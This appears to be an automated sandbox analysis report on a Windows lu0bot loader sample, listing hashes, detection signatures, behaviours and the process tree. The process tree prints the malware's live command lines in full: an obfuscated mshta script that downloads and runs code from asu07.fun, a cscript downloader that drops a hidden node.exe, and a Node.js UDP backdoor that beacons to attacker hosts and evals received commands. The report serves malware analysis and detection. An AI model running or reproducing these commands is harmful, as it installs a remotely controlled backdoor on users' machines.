Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7v20210408 -
submitted
03-08-2021 20:38
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210803-201818.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210803-201818.exe
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Size
3KB
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MD5
f90a54f4aa3e3df1e6c90663bdd46886
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SHA1
fd318da966745bf298ef8d26a1570322988aec7a
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SHA256
6862a78fe0776ed93f11f783024d20b4d0a8dcbd9fd555f8a31cda921ba75139
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SHA512
d0283140c7ad7d995bc483dd41da06258f31534a2f028d9fcfb8091a1ae838befadf1d781e933c61597aa6c861182a550133f3ec102d580e9f7bd943920c8458
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 1556 mshta.exe 4 564 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 420 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1888 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1052 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 960 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1128 ipconfig.exe 516 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1512 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\4a0cfcb5742f874f:ads node.exe File created C:\ProgramData\DNTException\node.exe:ea736be5343c89846b1b1d5faf34ed60 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 420 node.exe 420 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 960 tasklist.exe Token: SeIncreaseQuotaPrivilege 752 wmic.exe Token: SeSecurityPrivilege 752 wmic.exe Token: SeTakeOwnershipPrivilege 752 wmic.exe Token: SeLoadDriverPrivilege 752 wmic.exe Token: SeSystemProfilePrivilege 752 wmic.exe Token: SeSystemtimePrivilege 752 wmic.exe Token: SeProfSingleProcessPrivilege 752 wmic.exe Token: SeIncBasePriorityPrivilege 752 wmic.exe Token: SeCreatePagefilePrivilege 752 wmic.exe Token: SeBackupPrivilege 752 wmic.exe Token: SeRestorePrivilege 752 wmic.exe Token: SeShutdownPrivilege 752 wmic.exe Token: SeDebugPrivilege 752 wmic.exe Token: SeSystemEnvironmentPrivilege 752 wmic.exe Token: SeRemoteShutdownPrivilege 752 wmic.exe Token: SeUndockPrivilege 752 wmic.exe Token: SeManageVolumePrivilege 752 wmic.exe Token: 33 752 wmic.exe Token: 34 752 wmic.exe Token: 35 752 wmic.exe Token: SeIncreaseQuotaPrivilege 752 wmic.exe Token: SeSecurityPrivilege 752 wmic.exe Token: SeTakeOwnershipPrivilege 752 wmic.exe Token: SeLoadDriverPrivilege 752 wmic.exe Token: SeSystemProfilePrivilege 752 wmic.exe Token: SeSystemtimePrivilege 752 wmic.exe Token: SeProfSingleProcessPrivilege 752 wmic.exe Token: SeIncBasePriorityPrivilege 752 wmic.exe Token: SeCreatePagefilePrivilege 752 wmic.exe Token: SeBackupPrivilege 752 wmic.exe Token: SeRestorePrivilege 752 wmic.exe Token: SeShutdownPrivilege 752 wmic.exe Token: SeDebugPrivilege 752 wmic.exe Token: SeSystemEnvironmentPrivilege 752 wmic.exe Token: SeRemoteShutdownPrivilege 752 wmic.exe Token: SeUndockPrivilege 752 wmic.exe Token: SeManageVolumePrivilege 752 wmic.exe Token: 33 752 wmic.exe Token: 34 752 wmic.exe Token: 35 752 wmic.exe Token: SeDebugPrivilege 516 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 752 wrote to memory of 1556 752 usfive_20210803-201818.exe 26 PID 752 wrote to memory of 1556 752 usfive_20210803-201818.exe 26 PID 752 wrote to memory of 1556 752 usfive_20210803-201818.exe 26 PID 752 wrote to memory of 1556 752 usfive_20210803-201818.exe 26 PID 1556 wrote to memory of 328 1556 mshta.exe 30 PID 1556 wrote to memory of 328 1556 mshta.exe 30 PID 1556 wrote to memory of 328 1556 mshta.exe 30 PID 1556 wrote to memory of 328 1556 mshta.exe 30 PID 328 wrote to memory of 564 328 cmd.exe 32 PID 328 wrote to memory of 564 328 cmd.exe 32 PID 328 wrote to memory of 564 328 cmd.exe 32 PID 328 wrote to memory of 564 328 cmd.exe 32 PID 328 wrote to memory of 576 328 cmd.exe 33 PID 328 wrote to memory of 576 328 cmd.exe 33 PID 328 wrote to memory of 576 328 cmd.exe 33 PID 328 wrote to memory of 576 328 cmd.exe 33 PID 328 wrote to memory of 1888 328 cmd.exe 34 PID 328 wrote to memory of 1888 328 cmd.exe 34 PID 328 wrote to memory of 1888 328 cmd.exe 34 PID 328 wrote to memory of 1888 328 cmd.exe 34 PID 1888 wrote to memory of 420 1888 cscript.exe 35 PID 1888 wrote to memory of 420 1888 cscript.exe 35 PID 1888 wrote to memory of 420 1888 cscript.exe 35 PID 1888 wrote to memory of 420 1888 cscript.exe 35 PID 420 wrote to memory of 1800 420 node.exe 37 PID 420 wrote to memory of 1800 420 node.exe 37 PID 420 wrote to memory of 1800 420 node.exe 37 PID 420 wrote to memory of 1800 420 node.exe 37 PID 420 wrote to memory of 1328 420 node.exe 38 PID 420 wrote to memory of 1328 420 node.exe 38 PID 420 wrote to memory of 1328 420 node.exe 38 PID 420 wrote to memory of 1328 420 node.exe 38 PID 420 wrote to memory of 1052 420 node.exe 39 PID 420 wrote to memory of 1052 420 node.exe 39 PID 420 wrote to memory of 1052 420 node.exe 39 PID 420 wrote to memory of 1052 420 node.exe 39 PID 420 wrote to memory of 1664 420 node.exe 40 PID 420 wrote to memory of 1664 420 node.exe 40 PID 420 wrote to memory of 1664 420 node.exe 40 PID 420 wrote to memory of 1664 420 node.exe 40 PID 420 wrote to memory of 360 420 node.exe 41 PID 420 wrote to memory of 360 420 node.exe 41 PID 420 wrote to memory of 360 420 node.exe 41 PID 420 wrote to memory of 360 420 node.exe 41 PID 420 wrote to memory of 960 420 node.exe 42 PID 420 wrote to memory of 960 420 node.exe 42 PID 420 wrote to memory of 960 420 node.exe 42 PID 420 wrote to memory of 960 420 node.exe 42 PID 420 wrote to memory of 752 420 node.exe 44 PID 420 wrote to memory of 752 420 node.exe 44 PID 420 wrote to memory of 752 420 node.exe 44 PID 420 wrote to memory of 752 420 node.exe 44 PID 420 wrote to memory of 1128 420 node.exe 45 PID 420 wrote to memory of 1128 420 node.exe 45 PID 420 wrote to memory of 1128 420 node.exe 45 PID 420 wrote to memory of 1128 420 node.exe 45 PID 420 wrote to memory of 1580 420 node.exe 46 PID 420 wrote to memory of 1580 420 node.exe 46 PID 420 wrote to memory of 1580 420 node.exe 46 PID 420 wrote to memory of 1580 420 node.exe 46 PID 420 wrote to memory of 516 420 node.exe 47 PID 420 wrote to memory of 516 420 node.exe 47 PID 420 wrote to memory of 516 420 node.exe 47 PID 420 wrote to memory of 516 420 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1664 attrib.exe 360 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210803-201818.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210803-201818.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();159;y=unescape('%334%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E7%30').split('~');143;try{x='WinHttp';232;x=new ActiveXObject(x+'.'+x+'Request.5.1');228;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);40;x.send();4;y='ipt.S';36;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);207;}catch(e){};90;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628023212327.txt & cscript /nologo /e:jscript get1628023212327.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F25b3ed22c%26b%3D12246324" node.cab & expand node.cab node.exe & del get1628023212327.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628023212327.txt & cscript /nologo /e:jscript get1628023212327.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%275b3ed22c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628023212327.txt3⤵
- Suspicious use of WriteProcessMemory
PID:328 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628023212327.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F25b3ed22c%26b%3D12246324" node.cab4⤵
- Blocklisted process makes network request
PID:564
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:576
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628023212327.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%275b3ed22c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%275b3ed22c%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:420 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1800
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1328
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1052
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1664
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:360
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:960
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:752
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1128
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1580
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:516
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1512
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